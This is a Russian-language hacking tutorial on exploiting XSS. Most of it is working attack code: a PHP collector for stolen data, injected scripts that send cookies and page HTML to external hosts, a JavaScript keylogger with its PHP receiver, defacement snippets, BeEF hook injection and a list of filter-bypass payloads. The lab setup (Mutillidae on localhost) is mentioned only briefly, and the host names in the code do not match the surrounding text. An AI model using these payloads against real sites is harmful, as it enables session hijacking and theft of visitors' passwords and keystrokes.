29 марта, 2024
XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов

XSS: Урок 2. Учимся скрыто передавать данные, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, фишинг, подсказки обхода фильтров

Содержание:

Рекомендуется также ознакомиться с первым уроком: «Основы XSS и поиск уязвимых к XSS сайтов».

Кража данных с помощью XSS и их передача на удалённый сервер

Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить хостинг.

Для приёма и показа данных будем использовать следующий код:

<?php
 
#error_reporting(0);
 
$filename = 'log.txt';
$password = 'pass';
 
if (!file_exists($filename)) {
 if ($fh = fopen($filename, 'w')) {
 fclose($fh);
 }
}
 
if (isset($_GET['c'])) {
 $content = '[Host]: ' . $_SERVER['REMOTE_HOST'] . PHP_EOL;
 $content .= '[Remote Addr]: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL;
 $content .= '[Sensitive Information]: ' . $_GET['c'] . PHP_EOL;
 $content .= PHP_EOL . PHP_EOL;
 file_put_contents($filename, $content, FILE_APPEND | LOCK_EX);
}
 
if (isset($_GET['p'])) {
 
 if ($_GET['p'] == $password) {
 if (isset($_GET['rm'])) {
 unlink($filename);
 } else {
 $data = file_get_contents($filename);
 $convert = explode("\n", $data);
 for ($i = 0; $i < count($convert); $i++) {
 echo $convert[$i] . '</br>';
 }
 }
 }
}

 

Сохраняем его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.

В строках

$filename = 'log.txt';
$password = 'pass';

Устанавливаются файл для хранения данных и пароль (pass).

Для передачи данных используется переменная c, например: http://ip-or-url/stealer.php?c=здесь данные

Для просмотра полученных данных: http://ip-or-url/stealer.php?p=pass

Для очистки файла с захваченными данными: http://ip-or-url/stealer.php?p=pass&rm

Уязвимость мы будем эксплуатировать в приложении http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Сборщик данных я разместил по адресу http://miloserdov.org/stealer.php

Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):

<script>new Image().src="https://miloserdov.org/stealer.php?c="+encodeURI(document.cookie);</script>

Размещаем:

Читать также:  Как сделать фальшивый PDF-файл с трояном на AppleScript.Часть 2. Маскируем скрипт

Получаем результат:

Можно украсть весь HTML код:

 <script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.body.innerHTML);</script>

Или отдельные элементы:

<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.getElementById('idSystemInformationHeading').innerHTML));</script>

 

Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.

Изменение внешнего вида сайта при помощи XSS

Подобным образом можно оставить веб-сайт без содержимого:

<script>document.body.innerHTML=""</script>

А так без содержимого будет только выбранный элемент:

<script>document.getElementById('idSystemInformationHeading').innerHTML=""</script>

Можно поменять содержимое сайта на своё:

<script>document.body.innerHTML="<p>Ещё один сайт о всякой фигне.</p>"</script>

Добавить что-то от себя:

<script>document.body.innerHTML=document.body.innerHTML+"<p>One more shitty web site.</p>"</script>

 

 

И делать что-угодно со стилями.

Внедрение перехватчика нажатий клавиш при XSS (килогер)

Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.

Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.

На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:

Исходный код exploit.js:

var keys = '';
 
document.onkeypress = function (e) {
 var get = window.event ? event : e;
 var key = get.keyCode ? get.keyCode : get.charCode;
 key = String.fromCharCode(key);
 keys += key;
};
 
window.setInterval(function () {
 new Image().src = 'https://helpugroup.com/exploit.php?keylog=' + keys;
 keys = '';
}, 1000);

Обратите внимание на строку:

new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;

 

Вместо helpugroup.com вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.

Второй файл exploit.php:

<?php
 
$password = 'pass';
 
if (!file_exists('keylog.txt')) {
 if ($fh = fopen('keylog.txt', 'w')) {
 fclose($fh);
 }
}
 
if (!empty($_GET['keylog'])) {
 $logfile = fopen('keylog.txt', 'a+');
 fwrite($logfile, $_GET['keylog']);
 fclose($logfile);
}
 
if (isset($_GET['p'])) {
 
 if ($_GET['p'] == $password) {
 if (isset($_GET['rm'])) {
 unlink('keylog.txt');
 } else {
 $data = file_get_contents('keylog.txt');
 $convert = explode("\n", $data);
 for ($i = 0; $i < count($convert); $i++) {
 echo $convert[$i] . '</br>';
 }
 }
 }
}

 

Читать также:  Хакеры используют карты коронавируса для инфицирования компьютеров

В нём можно ничего не менять – разве пароль установите на свой.

В сайте с имеющейся хранимой XSS мы вводим:

<script src="https://miloserdov.org/exploit.js"></script>

Обратите внимание на адрес – https://helpugroup.com/exploit.js – вам нужно заменить его на свой.

Подцепление на BeEF

Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.

Атакующий запускает BeEF на своём сервере:

sudo beef

 

BeEF даёт подсказку, какой файл нужно внедрять в код: http://192.168.1.39:3000/hook.js

Наш код, который мы вставляем в сайт, уязвимый к XSS:

<script src="http://192.168.1.39:3000/hook.js">

Внедряем:

Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:

Выполняем разные атаки:

Подсказки по эксплуатации XSS и обходу фильтров

Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.

Базовая полезная нагрузка XSS:

<script>alert("XSS-by-Shawar")</script> 
"><script>alert("XSS-by-Shawar")</script> 
"><script>alert(/XSS-by-Shawar/)</script>

 

Внутри тэга Script:

</script><script>alert("XSS by S

 

Обход ограничения тэга script путём замены регистра:

"><iFrAmE/src=jAvAscrIpT:alert(/xss-by-shawar/)> 
"><ScRiPt>alert("xss by shawar")</sCrIpT>

 

XSS с использованием тэгов Image и HTML:

"><detials ontoggle=confirm(0)> 
"><IMG SRC=x onerror=javascript:alert(&quot;XSS-by-Shawar&quot;)> 
"><img onmouseover=alert(“XSS by Shawar”)> 
"><test onclick=alert(/xss-by-shawar/)>clickme</test> 
"><a href=javascript:alert(/xss-by-shawar/)clickme</a> 
"><h1 onmouseover=alert("XSS by Shawar Khan")> hover on me</h1> 
"><svg/onload=prompt("XSS by Shawar Khan")> 
"><body/onload=alert("XSS by shawar")>

Добавить комментарий